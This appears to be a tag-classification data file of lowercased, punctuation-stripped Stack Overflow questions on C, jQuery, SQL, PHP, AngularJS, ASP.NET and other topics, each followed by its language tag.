how to use strings with structs in c   i have seen the answer to <a href= https://stackoverflow.com/questions/1988186/how-do-i-set-a-string-property-of-a-struct >this question</a> but it is terribly uninformative for newbie s like myself and still can t manage to get it to work. i am trying to declare a member of the struct called  name  that takes a string value and then trying to figure out how to get that value and print it. every way i have tried produces an error...      <pre><code>typedef struct {     float height;     int weight;     char name[]; } person;   void calculatebmi(person x) {     //printf will go here here }   int main(int argc  const char * argv[]) {      person michael;     michael.height = 62.0;     michael.weight = 168;     michael.name[]  michael ;      person steve;     steve.height = 50.4;     steve.weight = 190;     steve.name =  steven ;      calculatebmi(michael);     calculatebmi(steve); } </code></pre>,c
jquery append() - return appended elements  i m using <a href= http://api.jquery.com/append/  rel= noreferrer >jquery.append()</a> to add some elements dynamically. is there any way to get a jquery collection or array of these newly inserted elements     so i want to do this:   <pre><code>$( #mydiv ).append(newhtml); var newelementsappended = // answer to the question i m asking newelementsappended.effects( highlight   {}  2000); </code></pre>,jquery
c++ (x == 1) the same as (x & 1)  i recently saw an open source program where somebody used   <pre><code>if (x &amp; 1){ </code></pre>   where x was an int. i tried this out myself and as far as i can see this has the same effect us using   <pre><code>if (x == 1){ </code></pre>   as far as i understand the <code>&amp;</code> symbol is used for referencing objects  but here it seems to be used as an equal to operator.     am i mistaken in thinking these are the same thing  or are there different reasons to use each one,c++
help with voting table schema idea  i m trying to create a voting table and maximize performance.  since a vote can only be up or down  i m thinking of using <code>bit</code> where <code>1 = up</code> and <code>0 = down</code> is this unintuitive  is there a better way    <pre><code>uservotes (3 way primary key between all three tables) +----------+----------+-------------+ |  userid  |  isup    | commentid   | +----------+----------+-------------+ |    1     |  1       |  99         | |    2     |  0       |  99         | </code></pre>   etc.    the updates will happen when a user clicks a vote up or a vote down button   <pre><code>if voteupbuttonclicked then     voteservice.add(userid true  commentid) end if  if votedownbuttonclicked then      voteservice.add(userid  false  commentid) end if </code></pre>   then the calls will be  count    <pre><code>dim totalupvotes = voteservce.queryvotes().where(function(v) v.isup and v.commentid = commentid).count dim totaldownvotes = voteservice.queryvotes().where(function(v) not v.isup and v.commentid = commentid).count </code></pre>   i m using sql server 2008 and linq to sql.    and yes  i would like to allow users to delete a vote.,sql
relativelayout transparency issue  i am creating relative layout but i have transparency problem.    screenshot from simulator:    <img src= https://i.stack.imgur.com/5pzii.jpg  alt= enter image description here >    why button is transparent   this is my xml:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical  &gt;      &lt;textview         android:id= @+id/textview1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_alignparentleft= true          android:layout_alignparenttop= true          android:layout_marginleft= 34dp          android:layout_margintop= 41dp          android:text= textview  /&gt;      &lt;button         android:id= @+id/button1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_alignright= @+id/textview1          android:layout_aligntop= @+id/textview1          android:text= button  /&gt;  &lt;/relativelayout&gt; </code></pre>,android
how to validate text field using javascript  i m trying to validate text field using javascript. <code>return false</code> is working fine. but <code>return true</code> is not working.    html   <pre><code>&lt;form namme= frms  action= booking_management.php &gt;     &lt;input type= text  name= total  id= totald  value=   onkeyup= calbill()  class= input /&gt;     &lt;input name= but  type= button  value= send bill  class= btn btn-primary  onclick= bill()  /&gt; &lt;/form&gt; </code></pre>   javascript   <pre><code>function bill() {   if (checktot()) {     document.forms[ frms ].submit();   } }  function checktot() {   var tot = document.getelementbyid( totald ).value;   if (tot ==  no ) {     document.getelementbyid( totald ).style.bordercolor =  #ed291f ;     alert( please try again );     return false;   }   return true;  } </code></pre>,javascript
rails 4 config.assets.precompile += %w(*.png *.jpg *.jpeg *.gif application-print.css) error  in rails 4.0.0-rc2  the line below is causing an error  +  (something about truth) in either production.rb or application.rb. this link refers to it needing to be in application.rb. i am unable to figure out what is causing this error.    <a href= https://github.com/rails/sprockets-rails/pull/36  rel= nofollow >https://github.com/rails/sprockets-rails/pull/36</a>   <pre><code>config.assets.precompile=true config.assets.precompile += %w(*.png *.jpg *.jpeg *.gif application-print.css) </code></pre>   error in console from capistrano deploy   <pre><code>bundle exec rake rails_env=production rails_groups=assets assets:precompile  rake aborted! undefined method `+  for true:trueclass </code></pre>,ruby-on-rails
show the tooltip only when ellipsis is active  i have the next div:   <pre><code> &lt;div class= div-class  style= width:158px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;  title=&lt;%=mydesc%&gt; </code></pre>   how can i show the tooltip only when ellipsis is active     i find this function   <pre><code>    function isellipsisactive(e) {      return (e.offsetwidth &lt; e.scrollwidth); } </code></pre>   but i didn t know how to use it knowing i use jsp and struts,css
how can i set the value in select option field using angularjs  i am getting the response as below and i would like to adjust those in <code>select option</code> tag. how can i set those please suggest the same   <pre><code>[null  a   b   c    d ] </code></pre>   my code is like   <pre><code>$http.get( v1/sport ).success(function(data) {     $scope.sports = [];     //$scope.sports = data.data;      angular.foreach(data.data  function(value  key) {         $scope.sports[value.sport_id] = value.name;     }); }); </code></pre>   in view    <pre><code>&lt;select name= teamsport                        ng-model= player.sport_id                        ng-options= sport[player.sport_id] as sport[player.name] for sport in sports                        ng-change= changedsport()                        required&gt;                       &lt;option value=   selected= selected &gt;-- select --&lt;/option&gt;                     &lt;/select&gt; </code></pre>  <hr>,angularjs
c# is there a way to obtain a reference for a field from a class and use the reference to call methods   c# question .net version 4.6.1    i have a class as shown below and in a function i create an instance of the class.  i would like to create a reference to field(s) from the class instance and call the method  insert  on the class variables  name  and  description .    i used a google search for:  get reference to class field via  reflection in c# . i did find information on stackoverflow for reflection but it does not talk about calling methods. i was able to use some of it to find what looks like a pointer.  however i could not make it all the way to calling methods on the reference.  i either am asking google the wrong question or what i am trying to do is not possible.<br> <a href= https://stackoverflow.com/questions/7649324/c-sharp-reflection-get-field-values-from-a-simple-class >c# reflection - get field values from a simple class</a>   <pre><code>    class aclass1     {         public string action = string.empty;         public list&lt;keyvaluepair&lt;string  string&gt;&gt; description = new  list&lt;keyvaluepair&lt;string  string&gt;&gt;();         public list&lt;keyvaluepair&lt;string  string&gt;&gt; name= new list&lt;keyvaluepair&lt;string  string&gt;&gt;();     }       // psudo code:     // the code has been reduced down to show the problem.  error handling     // etc has been removed. this may not compile because i had to      // reduce down the code to show what i am trying to accomplish. any     // suggestions for creating a reference to a class variable and calling     // its methods would be appreciated.  if needed i can create a small      // sample that does compile but i think the sample provided shows      // what i am trying to accomplish.  if not let me know and i will     // scale down further.   public void processfeature1(string fieldname  string value1  string value2) {     aclass1 featuretomanage = new aclass1();      keyvaluepair&lt;string  string&gt; entry = new keyvaluepair&lt;string  string&gt;(value1  value2);     if (entry != null)     {         // something along these lines is preferred if possible         var ptrfield = featuretomanage.gettype().getfield(fieldname).fieldhandle;         if (ptrfield != null)         {             // the problem is figuring how to turn the value from reflection into             // something i can call directly.  i have tried casting to the same             // type as the variable in the class (not shown here)              // but it did not work or i did it wrong.  when i say it does not             // work the run-time information does not show the method and the             // compiler complains generally saying no such method insert found.             ptrfield.insert(0  entry);         }         else         {             // this works but would prefer to lookup the             // the field in the class and call methods so i             // 1. have less code             // 2. do not have to hard code the name of the field.             switch (fieldname)             {                 case  name :                     {                         featuretomanage.name.insert(0  entry);                         break;                     }                 case  description :                     {                         featuretomanage.description.insert(0  entry);                         break;                     }                 default:                     {                         // something bad happened                         break;                     }             }         }     } } </code></pre>,c#
text format in text box asp.net  i have a text box  where user can reply through it     i should post as same way user enters     for example    if users uses enter between text i should post as same way    <pre><code>test comment test comment </code></pre>   it should be posted on same way...,asp.net
how to read data from csv to array in c++   <a href= https://i.stack.imgur.com/l09zz.png  rel= nofollow noreferrer >csv data</a>    i have some data in csv file like the picture. i want to parse them into some 1-d arrays or 2-d arrays. how can i do that  thank you so much.    for example: column b -> int length[5] = [1578 738 581 781 1426],c++
change background color of uiviewcontroller from other uiviewcontroller  i have allocated a <code>uiviewcontroller</code> ontop of another one. i would like to change the color of the other one from this new controller  but i don t know how. i tried this:   <pre><code>-(ibaction)slidervaluechanged:(uislider *)sender { nslog(@ slider value = %f   sender.value);  viewcontroller1.view.backgroundcolor = [uicolor colorwithred:(160/sender.value) green:(97/sender.value) blue:(5/sender.value) alpha:0.6]; } </code></pre>   and imported the <code>viewcontroller1</code>  but it gives an error. if i put <code>self.view</code> it will work fine but not on <code>viewcontroller1</code>. how can i do this,ios
incompatible integer to pointer conversion assigning to  char *  from  int   the code below is crashing with exc_bad_access.  anyone have any clues as to why     the following warnings are reported:    incompatible integer to pointer conversion assigning to  char *  from  int    <pre><code>register int t; char *s; double val;  s = printn(val); t = strlen(s); // &lt;&lt;&lt; breaks on this line  ...  char *printn(n) double n; {     register char *fmt  *s  *ss;     double absn;     short sign;      ....     s = printb( %-0.2f   sign*absn);     for (ss = s; *ss; ++ss);     while (*--ss ==  0  || *ss ==    ) *ss = 0;     if (*ss ==  . ) *ss = 0;      return(s); } </code></pre>   thank you.,c
.net: how to watch memory footprint of an individual object  could i use any library programatically to watch memory of an object     thanks.,.net
angularjs $http error function never called  i have that simple code :   <pre><code>$http.get( /api/test )     .success(function (data  status  headers  config) {         console.log(data);         return data;     }).error(function (data  status  headers  config) {         alert( error );         return status; }); </code></pre>   it works fine  but the error function is never called  even when i return a 404 (not found) from the server... in that case it calls that  success  function with status = 404...    is that correct      thanks    fiddler:   <pre><code>request  get http://localhost:41234/api/test http/1.1 host: localhost:41234 connection: keep-alive accept: application/json  text/plain  */* x-requested-with: xmlhttprequest user-agent: mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.22 (khtml  like gecko)    chrome/25.0.1364.172 safari/537.22 referer: http://localhost:41234/ accept-encoding: gzip deflate sdch accept-language: pt-br pt;q=0.8 en-us;q=0.6 en;q=0.4 accept-charset: iso-8859-1 utf-8;q=0.7 *;q=0.3 cookie: asp.net_sessionid=bd1b3rib5j4beub0xbuhb1hm; formsauthentication=xxxxx  response  http/1.1 404 not found cache-control: no-cache pragma: no-cache expires: -1 server: microsoft-iis/8.0 x-aspnet-version: 4.0.30319 x-sourcefiles: = utf-8 b rdpcugvzc29hxvy2fylkfwavxhcgcg== = x-powered-by: asp.net content-length: 0 </code></pre>,angularjs
angularjs - write custom directive to validate passed values  i have an html form that looks like this :   <pre><code>&lt;div class= row col-lg-offset-3 &gt;     &lt;div class= form-group col-lg-6  ng-class= {  has-error : userform.age.$invalid &amp;&amp; userform.age.$dirty}  show-errors &gt;         &lt;label class= control-label &gt;age&lt;/label&gt;         &lt;input type= text  class= form-control  name= age  ng-model= user.age  ng-required= !user.phonenumber  placeholder= age /&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   directive:   <pre><code>(function(){     angular.module( myapp   []) .controller( studentdatacontroller   function($scope) {}) .directive( showerrors   function() {     return {       restrict:  a         require:   ^form         link: function (scope  el  attrs  formctrl) {          var inputel   = el[0].queryselector( [age] );          var inputngel = angular.element(inputel);          var inputvalue = inputngel.attr( age );          var isvalid = (inputvalue &gt;= 3 &amp;&amp; inputvalue &lt; 100);           inputngel.bind( blur   function() {           el.toggleclass( has-error   isvalid);         })       }     }   }); })(); </code></pre>   i am trying to validate input for age field when it blurs out.age value should be between 3 to 99.i.i.e check if the value is valid or invalid when user is done typing and leaves the text field.then if the value is invalid  apply the has- class the directive though is not working. did i miss anything,angularjs
reading textfile contents  ok i have this code   <pre><code>$myfile =  testfile.txt ; $fh = fopen($myfile   r ); $thedata = fread($fh  filesize($myfile)); fclose($fh); echo $thedata </code></pre>   testfile.txt contents:   <pre><code>&lt;script type= text/javascript  src= js/jquery.js /&gt; &lt;script type= text/javascript  src= js/webdefault.js /&gt; &lt;stype type= text/css  src= css/style.css /&gt; </code></pre>   no i want to read those contentst by line and output each by each line    the output in the html if its going to be output is this:   <pre><code>&lt;script type= text/javascript  src= js/jquery.js /&gt; &lt;script type= text/javascript  src= js/webdefault.js /&gt; &lt;stype type= text/css  src= css/style.css /&gt; </code></pre>   thank you in advance,php
how do i find what is affecting the width of this div  css  i am messing with a wordpress theme. i am using firefox and have webdeveloper (and other tools) installed. i am trying to adjust a div width but it is not listening to me. i suspect theres a % used since when i tried setting a max-width to a parent it became much shorter (then the size i specified). the style file is 3k... i tried narrowing it down but its troublesome.    what tools and technique can i use to spot the problem,css
losing file extension on redirect  using classic asp.net website  i have a forms authentication enabled. when i run the web site  the system executes and tries to load the page  except there is no file extension in the url.    this is the web.config section...   <pre><code>&lt;authentication mode= forms &gt;   &lt;forms loginurl= ~/account/login.aspx  timeout= 120  defaulturl= ~/dashboard/dashboardmain.aspx  /&gt; &lt;/authentication&gt; </code></pre>   this is the url when i start the web site   <pre><code>http://localhost:50315/account/login returnurl=%2fdefault.aspx </code></pre>   i get a 404 error  that the page is not found.    when i go in and manually insert the .aspx extension  the page is displayed correctly.   <pre><code>localhost:50315/account/login.aspx returnurl=%2fdefault.aspx </code></pre>   why is the .aspx file extension being removed from the login page,asp.net
sql group by style  so i tried googling this for a definitive answer  but nothing really came up.  simply put  the question is which of the following is better (assume <code>a</code> is a unique id in <code>t1</code>):   <pre><code>  select t1.a  sum(t2.b)  t1.c  t1.d  ...     from t1     join t2       on t1.a = t2.a group by t1.a  t1.c  t1.d  ... </code></pre>   or    <pre><code>  select t1.a  sum(t2.b)  max(t1.c) as c  max(t1.d) as d  ...     from t1     join t2       on t1.a = t2.a group by t1.a </code></pre>   or   <pre><code>  select distinct t1.a  sum(t2.b) over(partition by t1.a)  t1.c  t1.d  ...     from t1     join t2       on t1.a = t2.a </code></pre>   edit: better in terms of readability and performance.  obviously number 3 most likely performs poorly.  readability and maintainability is the main concern.  i personally prefer the first  but there is a fair amount of work in the form of number 2 here at work  and i was wondering if there was a significant difference between the two.,sql
how to multiple integers on a text without adding or doing any multiplications  this is what i got so far  ignore the fact that stuff is missing...   <pre><code>    if (fnum &gt; snum &amp;&amp; fnum &gt; tnum &amp;&amp; snum &gt; tnum){         system.out.println(fnum\n snum\n tnum); </code></pre>   so basically i want to have fnum snum and tnum all in a lane however i can t just do like:   <pre><code>system.out.println(fnum  snum  tnum); </code></pre>   because its giving me an error.    any help  i can t figure this out at all and google searches are not being too helpful...,java
with sql i am wanting to report on a persons last time they logged in  i have the below script that i use to find users log in log out sessions. can this be modified to show who has not logged in since say 2 months  i just can t figure this one out   <pre><code>select     a.username  p.name  l.loginsessionid  l.agentid  l.loginid  l.state      l.created  l.terminated  (l.terminated_ts - l.created_ts) as duration   from     gidb_g_login_session_v l      gidb_gc_agent a      gidb_gc_place p  where     (l.created &gt;= to_date ( 20/09/2016     dd/mm/yyyy ))     and     (l.created &lt; to_date ( 22/09/2016     dd/mm/yyyy ))      and     (l.agentid = a.id)      and     (l.placeid = p.id)      --and a.username in ( 13866 )` </code></pre>,sql
c++ getter/setter (alternatives )  okay  just about everywhere i read  i read that getters/setters are  evil .  now  as a programmer who uses getters/setters often in php / c#  i do not see how they are alive. i have read that they break encapsulation  etc etc  however  here is a simple example.   <pre><code>class armor{    int armorvalue; public:   armor();   armor(int); //int here represents armor value   int getarmorvalue();   void setarmorvalue(int); }; </code></pre>   now  lets say getters and setters are  evil . how are you supposed to change a member variable after initialization.    example:   <pre><code>armor arm=armor(128); //armor with 128 armor value  //for some reason i would like to change this armor value arm.setarmorvalue(55); //if i do not use getters / setters how is this possible  </code></pre>   lets say the above is not okay  for whatever reason. what if  my game restricts armor values from 1 to 500. (no armor can have a piece that has more than 500 armor or less than 1 armor).    now my implementation becomes   <pre><code>void armor::setarmor(int tarmvalue){       if (tarmvalue&gt;=1 &amp;&amp; tarmvalue&lt;=500)          armorvalue=tarmvalue;       else          armorvalue=1; } </code></pre>   so  how else would i impose this restriction without using getters/setters  how else would i modify a property without using getters/setters  should armorvalue just be a public member variable in case 1  and the getters/setters used in case 2     curious. thanks guys,c++
why will the following code not append one string to the other   it is the question from my friends. i have research some code from the internet but no help  i think it should working  the question is right.   <pre><code>nnstring *s  = [[nnstring alloc]initwithstring:@ hello ];   [s appendstring:@ there ];   </code></pre>,objective-c
how to call a def that s within a class  so i ve defined the initial opening of my game as mainmenu and within that is prints a few things with a few options to choose from such as the dificulty of the levels or they can see help for the game. when they go to help i want them to have the option to go back to the main menu  hence why i made def mainmenu(). however in my helpmenu if statement even though i have stated that if they type menu or menu that it should call back on mainmenu it doesn t do anything. we have a module that we must use and this is why i have to use things such as p.next() which actually means it s listening for a user input so just ignore that :)    here s the code    <pre><code>       def mainmen():         p.write( welcome to  the great escape !\n )         p.write( \nplease type what dificulty you would like to play the game \nthe options     are easy  medium or hard\n )         p.write( \nhowever  if you need help please type help for instructions\n )         p.write( &gt;&gt;&gt; )          dificulty = p.next()            if dificulty ==  easy  or dificulty ==  easy :               p.clear()              p.write( the great escape )             easy()           elif dificulty ==  medium  or dificulty ==  medium :             p.clear()             p.write( the great escape )             medium()          elif dificulty ==  hard  or dificulty ==  hard :             p.clear()             p.write( the great escape )             hard()           elif dificulty ==  help  or dificulty ==  help :             p.clear()             p.write( welcome to  the great escape  instructions\n )             p.write( \nto complete the level you must move your turtle around the\nline without touching the line itself\n )             p.write( \ncontrols\n )             p.write( forward    -  w \n )             p.write( left       -  a \n )             p.write( backwards  -  s \n )             p.write( right      -  d \n )             p.write( \nplease type  menu  to go back to the main menu \nor  exit  to quit the game\n )             p.write( &gt;&gt;&gt; )  **`here is my help menu if statements  i want it so that if they type menu or menu they get taken back to the main menu.`**   helpmenu = p.next() if helpmenu ==  menu  or helpmenu ==  menu :     p.clear()     mainmenu()  **&lt;&lt;this should call on the mainmenu but it doesn t  **  elif helpmenu ==  exit  or helpmenu ==  exit :     p.clear()     p.write( hope you play soon! ) </code></pre>,python
ios - how to create a never ending scrolling news feed  i have to create a social app  which currently displays only 20 items in a user s news feed. once they hit the bottom there is a  load more button this will then extend the stable to the next 20 items.    its very manual and not very fluid  is there a way to automate this     the feature is something very similar to the likes of facebook and twitter  so i know it is  possible but my googling is only taking me so far as i don t know the right terminology to use for this feature.    any help would be great!,ios
how to prevent jquery error message prepend more than once  i am prepending an error message to my markup when the field validation fails. the problem is that the prepend works more than once  so a new error message is being displayed every time the user tries to enter bad data. how do i prevent this happening     here is my code:   <pre><code>$( #customer-register input[type= submit ] ).on( click   function(e) {   var day = $( #dob_day ).val();   var month = $( #dob_month ).val();   var year = $( #dob_year ).val();   var datestring = day +  /  + month +  /  + year;    if (isvaliddate(day  month  year)) {     return true;   }   e.preventdefault();   // show an error here   $( #customer-register form ).prepend( &lt;p&gt;please enter a valid date.&lt;/p&gt; );   $( #customer-register form p ).first().addclass( errors ); }); </code></pre>,jquery
jquery script - appears correct but not working  we have script that is used for ensuring that required fields on an order form are filled out.  the script has worked but now no longer.  not sure if it is the script or some other element in the page.  would love some input - here is the script:   <pre><code>&lt;script type= text/javascript &gt; jquery(window).load(function(){ jquery( a.continuebutton:first ).unbind( click );     jquery( a.continuebutton:first ).click(function(event){     var hollaback = jquery(this).attr( href ).replace(/javascript:/g    );  event.preventdefault();    if (jquery( #order0_previouslyattended ).val() ==   ){     alert( please fill in your previous course details first );  jquery( #order0_previouslyattended ).focus(); return false;      } else {     if (jquery( #order0_dietaryneeds ).val() ==   ){     alert( please let us know if you have any special dietary requirements );  jquery( #order0_dietaryneeds ).focus(); return false;  } else {     if (jquery( #order0_names ).val() ==   ){       alert( please select your preferred length of stay );  jquery( #order0_names ).focus(); return false;    } else {     if(jquery( #agreement_checkbox ).is( :checked )){ eval(hollaback);   return true;   } else { alert( please check the acknowledgement before proceeding ); jquery( #agreement_checkbox ).focus();             }               }            }   }); jquery( .paymentlabel:contains( credit card type ) ).html( &lt;b&gt;select credit card type&lt;/b&gt; );        //replace the text for credit card type }); &lt;/script&gt; </code></pre>,jquery
what is .divclicked here   what is .divclick here      <pre><code>$( div#div1 ).bind( click.divclick  function(){alert( div clicked );}) </code></pre>   some one ask me this question and i have no answer for that. is it event type or namespace,jquery
net 2.0: can i set settings filename   i have a windows (not web) net 1.1 app which can accept the settings file as its argument; this way i can easily switch between (e.g.) different connection strings just by passing a different settings file.    i understand that in net 2.0 settings manager has been made simpler: we can define it at design-time and easily access its properties at design/run-time; but this imposes me to always use that particular configuration file  with no chance (as far as i understood) to have the flexibility to pass one or another configuration file accordingly to the circumstancies.    i would like to be able to have a settings class which initializes itself just the way it does it now (app.config file in the default dir)  but can be redirected to another file for read/write operations  like:   <pre><code>my.settings.use(*filenamewithfullpathandextensions*) </code></pre>   so my question is: is there a way to do something like this     thanks in advance to anyone will help,.net
large matrix computation  i write a simple code in c++ and i compile it with g++ on linux ubuntu 11.04 and i don t get any errors but when i run the executable file  i get this error  segmentation fault .    i know that my code has no problem and that this error is related to the compiler.     can somebody help me     <strong>my code is :</strong>   <pre><code>#include &lt;math.h&gt; int main() {     double a[200][200][200] b[200][200][200] c[200][200][200];     int i j k;      double const pi=3.14;      for(k=0;k&lt;200;k++)     {         for(j=0;j&lt;200;j++)         {             for(i=0;i&lt;200;i++)             {                 a[i][j][k]=sin(1.5*pi*i)*cos(3.5*pi*j)*k;                 b[i][j][k]=cos(1.5*pi*i)*cos(2.5*pi*k)*j;                 c[i][j][k]=a[i][j][k]-b[i][j][k];             }         }     } } </code></pre>,c++
i want to hide url shown in taskbar on mousehover on hyperlink  suppose i have anchor tag    link    when i mouse hover the anchor page url will be shown at the bottom of the browser. i want to hide it completely. can you please help me.,html
add attribute jquery data type string + variable  i have this variable called <code>vp_height</code> that i want to put as data variable  as putting it as this  it prompt an error.   <pre><code>var vp_height = viewportsize.getheight();  //sample data $( .carol ).attr({      data-  + vp_height :  width:50%;  }); </code></pre>   here s the error    <img src= https://i.stack.imgur.com/ru7z6.png  alt= enter image description here >    it should look like this in the frontend. (visual presentation)   <pre><code>&lt;div class= staff-container carol  data-667= width:50%; &gt;&lt;/div&gt; </code></pre>   any solution to this stuff,jquery
how do i copy one php script into another   i am new to php  so i have a basic question.    i have this php script called hello.php. basically i want to create a new php script exactly the same as <code>hello.php</code>  but with a unique name.    this is what i am thinking of doing  please tell me if it is in in the right direction.   <pre><code>$temp = tempnam(directory  prefix). .php ; </code></pre>   this creates a unique name  and appends .php to it so it will be a php file.  how do i write the content of hello.php into <code>$temp</code>  i m familiar with fwrite to write strings into the file  but what about writing all the codes from a different file  such as <code>hello.php</code>     thank you.,php
mysql query to insert record into table based on records in another table  i need some help with a mysql (5.6) query.  i m not sure how to begin.    i have a table  blades . this table contains blade server records  including the following columns:   <ul> <li>enclosure_name</li> <li>bay_number</li> <li>description</li> <li>server_name</li> <li>...</li> </ul>   each enclosure holds 16 blades servers in bays 1-16.    i have another table  available_bays . this table contains the following columns:   <ul> <li>enclosure_name</li> <li>bay_number</li> <li>status</li> <li>reserved</li> <li>reserved_by</li> <li>reserved_date</li> </ul>   <br>i need a query that will scan through the blades table and for each enclosure that has less than 16 blades  write a row to the available_bays table with enclosure_name and bay_number. the used enclosure bays may not be consecutive. in other words  the servers in enclosure1 may be in bays 1-8  10  13-16. so in this example  i would need to end up with the following records in the available_bays table:   <pre><code>enclosure_name bay_number enclosure01 9 enclosure01 11 enclosure01 12 </code></pre>   also  it would need to insert the record in the available_bays table only if the same enclosure_name and bay_number do not already exit.    any help on creating this query would be greatly appreciated.,mysql
what is the oauth package used by asp .net in the  internet application  template in asp .net mvc 4   what is the oauth package used by asp .net in the  internet application  template in asp .net mvc 4     i searched oauth in the nuget package manager and there was a lot of oauth libraries/packages  which is the default one which is officialy used in the said template,asp.net
objective c - enabling a button/ or any view after a certain amount of time  this is probably easy but i do not know where to start as i m still new. i have a button on screen  and when the user taps it  it becomes disabled (i m using <code>setuserinteractionenabled:</code>).     how do i make it so that the button will automatically enable itself after a certain amount of time (let s say 1 minute),objective-c
unexpected output using system.err.println() in java  i tried executing the following print statements in java  but the output which i got is unexpected. output is jumbled.    <pre><code>public class asynctestclass { public static void main(string[] args) {      system.out.println( 1 );     system.out.println( 2 );     system.out.println( 3 );     system.out.println( 4 );     system.out.println( 5 );     system.err.println( error );     system.out.println( 6 );     system.out.println( 7 );     system.out.println( 8 );     system.out.println( 9 );     system.out.println( 10 );           }  } </code></pre>   first run output:   <pre><code>1 error 2 3 4 5 6 7 8 9 10 </code></pre>   second run output:   <pre><code>     1 2 3 4 5 error 6 7 8 9 10 </code></pre>   third run output:   <pre><code>    1 error 2 3 4 5 6 7 8 9 10 </code></pre>   why i am getting different outputs for the same code   thanks,java
text-align right padding right li not working  <pre><code>ul {list-style-type: none;margin:0; padding:0;} .hits {   background-image:url(hits.gif);    background-repeat:no-repeat;   float:left;   width:45px;   height: 18px;    line-height:18px;   text-align:right;   padding-right:4px;  }  &lt;ul&gt; &lt;li class= hits &gt;328&lt;/li&gt; &lt;li class= hits &gt;0&lt;/li&gt; &lt;/ul&gt; </code></pre>   p/s hits.gif is 45 px width    why the text inside li tags is not padded  i tried almost everything.    <pre><code>ul {padding:0;} </code></pre>   is it because of this,css
the difference between \n and <br /> in php  i was studying php with tutorial. i recognized that in php <br /> is sometimes use like this   <pre><code>echo $mystring. &lt;br /&gt;  </code></pre>   suddenly  there came another in the tutorial  \n  and i got confused. can i use it just like i use   <pre><code>&lt;br /&gt; </code></pre>        so like this    <pre><code>echo $mysting. \n  </code></pre>   is it like a html tag  what s the difference between   <pre><code>&lt;br /&gt; and \n  </code></pre>,php
difference between show column and describe in mysql   is there any difference between in mysql:-   <pre><code>show columns from xyz; </code></pre>   and   <pre><code>desc xyz; </code></pre>   both seems to give same result,mysql
swift button connection fail  after i deleted the old connection  and reconnected  the xcode hints is still the same.    <img src= https://i.stack.imgur.com/p36pc.png  alt= image >    project: <a href= https://github.com/zetaosun/ios/tree/master/pitchperfect  rel= nofollow noreferrer >https://github.com/zetaosun/ios/tree/master/pitchperfect</a>,ios
notification when component containing multiple views is rendered in angularjs  i have an application using angular 1.6.9. we are using components.    issue:    i would like open one modal dialog when the main view is loaded completely. main veiw contains multiple views which are like different components.    i have tried lots of things like    <ul> <li>$postlink()</li> <li>$viewcontentloaded</li> <li>creating directive as mentioned <a href= https://stackoverflow.com/questions/14968690/sending-event-when-angular-js-finished-loading/23717845#23717845 >here</a> </li> </ul>   but still i am not get to the event which is emitted when full view is rendered. is there a way to figure that out,angularjs
custom control event not firing first time  my application runs from a single page (default.aspx) and loads custom controls based on what the user selects (this is done in the loadpage event).     the problem is that the first time some new controls are loaded onto the page and a button is clicked  the page is not firing the click event. this also happens when using a gridview and other controls.    however  if i simply reload the page a second time  the events are fired properly. (this works successfully every time)    two questions: 1) why would this occur  2) how can i troubleshoot it better  i ve tried checking the request.form(__eventtarget) (which is blank)    there are times when it works properly which suggests a postback issue - but it s not obvious.,asp.net
can i put a src attribute in an i or span tag   on my website in my footer i have a bunch of font awesome icons that lead to my profiles on different social media site. i have also created a modal on my webpage that when you click on an image it basically focuses in on it. so my idea was users can click on the snapchat icon and my snapcode would pop up so that users can get it. unlike normal social media  snapchat does not use url links in order to find a user profile. below is the line of code i have written i will also leave a link to my site so that you can see the problem i am having.   <pre><code>&lt;i class= fa fa-snapchat w3-hover-text-yellow  src= apps/images/snapchat.png  onclick= onclick(this);  class= w3-hover-opacity &gt;&lt;/i&gt; </code></pre>   my question is  is it possible to do something like this  i can get my function to work properly i just can t figure out how to hide the image so that it is only visible when the user clicks on the link.    i have also tried something like this with still no avail. the togglefunction() just changes the class name from w3-hide to w3-show and works fine with other elements.   <pre><code>&lt;i class= fa fa-snapchat w3-hover-text-yellow &gt; &lt;img src= apps/images/snapchat.png  class= w3-hide  style= width:100%  onclick= togglefunction();onclick(this);  class= w3-hover-opacity  alt=  &gt; &lt;/i&gt; </code></pre>   if anyone could help me out it would be greatly appreciated. the problem gives me an undefined error whenever you click on the snapchat icon.    here is a link to the page. it is in the footer. snapchat icon.    <a href= http://nerdislander.com/  rel= nofollow noreferrer >nerdislander.com</a>,html
given the absolute address of the flexible array member in a struct  how can i get the absolute address of the struct   see the struct i used bellow. i wish to solve this problem in a portable way.    the code i used for finding the absolute address of the struct was: <code>(char*)data - sizeof(struct block);</code> (where data is the address to the data in the struct block). it did not work on this struct.    i made a test program seen bellow where the last assert fails.     if i change <code>unsigned int    free:1;</code> to <code>unsigned int    free;</code> both prints will print 12 and thus sizeof has given me the expected result.    thanks in advance.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;assert.h&gt;  struct block {         size_t          size;         struct block*   next;         unsigned int    free:1;         char            data[]; };  int main(void) {         struct block*   avail;         struct block*   b;          avail = malloc(sizeof(struct block) + 10);          printf( %zu \n   sizeof(struct block)); // prints 12          printf( %zu\n   avail-&gt;data - (char*)&amp;avail-&gt;size); //prints 9          b = (struct block*)((char*)avail-&gt;data - 9);         assert(b == avail);          b = (struct block*)((char*)avail-&gt;data - sizeof(struct block));         assert(b == avail);          return 0; } </code></pre>   edit: seems like i found the answer here on stack overflow:     <a href= https://stackoverflow.com/questions/2033084/how-to-get-structs-start-address-from-its-members-address rq=1 >how to get struct&#39;s start address from its member&#39;s address</a>      it gives me correct absolute address.,c
is alias and cte are same   is    <blockquote>    select id from (select * from employee   ) as t  </blockquote>   is same as   <blockquote>    ;with temp as (select * from employee)   select id from temp  </blockquote>            both will return same result.but regarding performance oriented.,sql
inbuilt way to get a key value pair in .net   i have a string like this:     mypropery=value     is there a quick way (using built in .net) to convert this a useable keyvaluepair (or similar object)      one solution would be to use split  but i m looking for something more specific than a list of items  since only 2 key + value would exist.     thanks in advance.,.net
